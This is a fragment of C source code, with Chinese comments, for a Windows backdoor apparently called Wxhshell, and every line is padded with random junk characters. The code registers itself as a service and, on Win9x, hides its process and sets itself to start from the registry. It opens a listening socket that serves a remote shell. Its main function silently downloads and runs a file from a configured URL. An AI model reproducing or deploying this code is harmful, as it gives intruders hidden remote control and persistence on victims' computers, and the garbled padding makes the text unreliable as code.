ULONG InheritedFromUniqueProcessId; _1~Sj*
} PROCESS_BASIC_INFORMATION; ` {p5SYj
M}>q>
PROCNTQSIP NtQueryInformationProcess; JQqDUd
frt?*|:
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {T9g\F*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kMA>)\
U
Lq%,ca
HANDLE hProcess; $O#h4L_
PROCESS_BASIC_INFORMATION pbi; kH'Cx^=c6h
'%,Re-8O
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %j,Ny}a
if(NULL == hInst ) return 0; foeVjL:T
tj0vB]c
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cnolka"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HFazqQ[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VO9<:R
T7v8}_"-
if (!NtQueryInformationProcess) return 0; !Zrvko
a5iMCmL+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -'2.^a-8-g
if(!hProcess) return 0; *VUXw@
<KpQu%2(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6!$S1z#wM
_:z~P<%s
CloseHandle(hProcess); C"}x=cK
xl3U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |Yx8Ez
if(hProcess==NULL) return 0; :1iw_GhJf
O]>Or3oO
HMODULE hMod; km^AX:r1
char procName[255]; ">o/\sXeH
unsigned long cbNeeded; :X#(T-!t
ch&r.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4Y]`> ;w
=P!Vi6[gF~
CloseHandle(hProcess); -}(W=r\
86Rit!ih
if(strstr(procName,"services")) return 1; // 以服务启动 Vl EkT9^:
&
2bf
return 0; // 注册表启动 R8KL4g-d
} +%yh@X6
ps]6,@uyB
// 主模块 3B0%:Jj
int StartWxhshell(LPSTR lpCmdLine) ;#
{x_>M
{ ;?rW`e2
SOCKET wsl; +0OQ"2^&
BOOL val=TRUE; {`'b+0[;@
int port=0; 5q<kt{06\
struct sockaddr_in door; JsC0^A;fM
*,. {Xf
if(wscfg.ws_autoins) Install(); ,uw&)A
kahv1s-
port=atoi(lpCmdLine); ?z6C8T~+
]8^2(^3ct
if(port<=0) port=wscfg.ws_port; XEuv
aM
Hq~ 2,#Ue
WSADATA data; L*_xu _F
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >
+SEze
sOJ~PRA
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t!k 0n&P
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M]W4S4&Y=
door.sin_family = AF_INET; YcI]_[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); = FE,G*
door.sin_port = htons(port); $$4% .J26Z
kO4C^pl"v
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4
qnQF]4
closesocket(wsl); CR/LV]G
return 1; $qvNv[
} Eg9502Bl~8
4 (yHD
if(listen(wsl,2) == INVALID_SOCKET) { {hl_/
aG
closesocket(wsl); qGw6Wp~
return 1;
zh6so.
} ~q/`Z)(yc
Wxhshell(wsl); *cd9[ ~
WSACleanup(); 5mV'k"Om#"
:+6m<?R)T
return 0; 1^,r S
ZpdM[\Q-
} =}L[/ RL
~2qFA2
// 以NT服务方式启动 [7B&<zY/?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \KEL.}B9E
{ njIvVs`q
DWORD status = 0; lRrOoON
DWORD specificError = 0xfffffff; V6!oe^a7'
N&n{R8=^"
serviceStatus.dwServiceType = SERVICE_WIN32; j04Q3d
\f
serviceStatus.dwCurrentState = SERVICE_START_PENDING; =m40{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pg:Nz@CQ
serviceStatus.dwWin32ExitCode = 0; eY-$hnUe
serviceStatus.dwServiceSpecificExitCode = 0; 4b#YpK$7U
serviceStatus.dwCheckPoint = 0; }A#FGH+
serviceStatus.dwWaitHint = 0; >?kt3.IQ!X
qjWgyhL
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O-7 \qz
if (hServiceStatusHandle==0) return; hOq1"kL
'
Sl9xd
status = GetLastError(); E>ev /6ox
if (status!=NO_ERROR) 5pDxFs=v
{ *8Lym,]
serviceStatus.dwCurrentState = SERVICE_STOPPED; kTzZj|l^\
serviceStatus.dwCheckPoint = 0; X0lIeGwrQ
serviceStatus.dwWaitHint = 0; WgjaMmht
serviceStatus.dwWin32ExitCode = status; 8FMP)N4+
serviceStatus.dwServiceSpecificExitCode = specificError; C>;}CH|X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iU3co|q7
return; NO<myN+N
} vb%\q sf
tpVtbh1)u
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]6nF>C-C
serviceStatus.dwCheckPoint = 0; VTF),e!
serviceStatus.dwWaitHint = 0; $q+7,,"
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); snK/,lm.
} [Nq4<NK
H 95VU"
// 处理NT服务事件,比如:启动、停止 hIdGQKr>V
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,Pl[SMt!
{ 7(oxmv}#Q
switch(fdwControl) Q:-/@$&i
{ E/am^ TO`
case SERVICE_CONTROL_STOP: XnNK)dUT}
serviceStatus.dwWin32ExitCode = 0;
$%jV%k
serviceStatus.dwCurrentState = SERVICE_STOPPED; !~RD>N&n
serviceStatus.dwCheckPoint = 0; J/mLB7^R
serviceStatus.dwWaitHint = 0; UVUHLu|^
{ 3~
qgvAr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~r{Nc j
} G1D(-X4ALZ
return; @P8q=j}l9
case SERVICE_CONTROL_PAUSE: a E#s#Kv
serviceStatus.dwCurrentState = SERVICE_PAUSED; \'p)kDf
break; jHFdDw|N`
case SERVICE_CONTROL_CONTINUE: 20J:_+=]
serviceStatus.dwCurrentState = SERVICE_RUNNING; uW[<?sFG
break; is6JS^Q
case SERVICE_CONTROL_INTERROGATE: aB$Y5
break; `W-:@?PmQx
}; Pukq{/27
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wima=xYe\5
} Z(V4"x7F
rVz#;d!`z
// 标准应用程序主函数 Wy|=F~N
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z{e5 OJ
{ H6~QSe0l
amPQU
// 获取操作系统版本 3GaM>w}>W
OsIsNt=GetOsVer(); +tuC845
GetModuleFileName(NULL,ExeFile,MAX_PATH); jx-W$@
WjA)0HL(
// 从命令行安装 jdhhvoQ
if(strpbrk(lpCmdLine,"iI")) Install(); (g
r*kk/$,2
// 下载执行文件 5:YtBdP
if(wscfg.ws_downexe) { `T}e3l
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $#0%gs/x
WinExec(wscfg.ws_filenam,SW_HIDE); '&UX'Dd~Q
} xOS4J+' s@
^^v\ T
if(!OsIsNt) { e#08,wgW
// 如果时win9x,隐藏进程并且设置为注册表启动 2#sE\D
HideProc(); _7 n+j
StartWxhshell(lpCmdLine); {At1]>
} }bHdU]$}
else }n8,Ga%
if(StartFromService()) >YLwWU<X
// 以服务方式启动 ~uV.jh
StartServiceCtrlDispatcher(DispatchTable); )82x)c<e
else QHA<7Wg
// 普通方式启动 "&7v.-Yk(
StartWxhshell(lpCmdLine); U|iSJ%K
$S6AqUk$
return 0; 8sE@?,
}